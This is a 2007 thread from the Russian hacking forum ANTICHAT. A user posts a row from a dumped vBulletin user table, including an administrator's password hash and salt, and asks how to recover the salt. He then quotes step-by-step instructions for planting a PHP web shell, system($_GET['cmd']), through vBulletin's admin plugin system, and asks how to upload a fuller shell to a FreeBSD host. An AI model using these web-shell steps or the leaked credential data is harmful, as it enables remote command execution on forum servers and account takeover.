HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости > Уязвимости CMS / форумов
   
 
 
Опции темы Поиск в этой теме Опции просмотра

vBulletin [db] Где соль?
  #1  
Старый 15.01.2007, 00:50
Krasti
Новичок
Регистрация: 28.12.2006
Сообщений: 8
С нами: 10194034

Репутация: 4
По умолчанию vBulletin [db] Где соль?

Может глупый вопрос, но что-то понять не могу. Вот сдамбил базу юзеров, получил примерно вот такую тему:
PHP код:
INSERT INTO vb_user VALUES('1','6','','0','Rich','6c507b8dd286d058e69a37436a751bde','2006-11-20','***@gmail.com','0','','','','','','2','Администратор','0','1127663100','0','1159464415','1163971905','1152297660','33','10','5','3','0','0','0','0','2135','','0000-00-00','-1','1','','0','0','','0','0','-1','0','0','p\\u','2','','2','1','1'); 
А соль здесь получается "p\\u", или что?

Добавил: И что бы новую тему не создавать, помгите пожалуйста.
Цитата:
1. Заходим в админку.
2. Система модулей.
3. Добавить новый модуль.
Продукт: ставим vBulletin
Месторасположение: Vbulletin: Справка - faq_complete
Вставляем в тело код нашего шелла (шелл не должен превышать 60кб), проще сделать system($_GET["cmd"]);
4. Сохраняем, идём в faq (справка), всё теперь у нас есть шелл. Если он был такой system($_GET["cmd"]); делаем так www.xz.сom/forumpath/faq.php?cmd=тут команда
А какой камандой после этого можно будет залить шелл на хост (FreeBSD)?

Последний раз редактировалось Krasti; 15.01.2007 в 00:53..
 
Ответить с цитированием
 



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
vBulletin v3.0.1. Стырил хэш, а вот как соль достать? GoreAD Уязвимости CMS / форумов 6 08.09.2010 14:28
Есть доступ в админку. Где находятся мд5 хеши юзверов? (vBulletin 3.0.8) stalles Уязвимости CMS / форумов 7 25.11.2006 20:36
Можно ли имея хеш и соль войти в админку не подбирая пароль? (Vbulletin 3.5.3) banall Уязвимости CMS / форумов 3 18.10.2006 14:43
Соль vBulletin Loading Уязвимости CMS / форумов 7 09.08.2006 16:56
Где скачать vBulletin Федя Болталка 1 31.07.2006 21:51



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.